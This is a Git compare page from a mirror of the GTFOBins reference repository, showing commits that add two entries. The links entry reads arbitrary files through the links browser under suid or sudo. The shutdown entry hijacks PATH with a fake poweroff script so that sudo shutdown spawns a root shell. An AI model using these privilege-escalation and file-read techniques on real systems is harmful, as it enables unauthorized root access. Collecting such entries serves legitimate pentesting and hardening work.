1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-12 18:46:03 +02:00

Compare commits

...

3 Commits

Author SHA1 Message Date
JTZ d079d66a97
Merge 4d9b29f982 into 97f46f1526 2024-04-24 13:27:17 +08:00
Juampa Rodríguez 97f46f1526
Create links
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2024-04-10 22:46:01 +02:00
JTZ 4d9b29f982
Create shutdown.md
参考 : https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/
2023-10-28 12:11:06 +08:00
2 changed files with 26 additions and 0 deletions

16
_gtfobins/links.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The result is displayed in a TUI interface.
functions:
file-read:
- code: |
LFILE=file_to_read
links "$LFILE"
suid:
- code: |
LFILE=file_to_read
./links "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo links "$LFILE"
---

10
_gtfobins/shutdown.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
sudo:
- description: This can help us get the root user Shell
- code: |
echo /bin/bash > /tmp/poweroff
chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
sudo -u root /usr/sbin/shutdown
---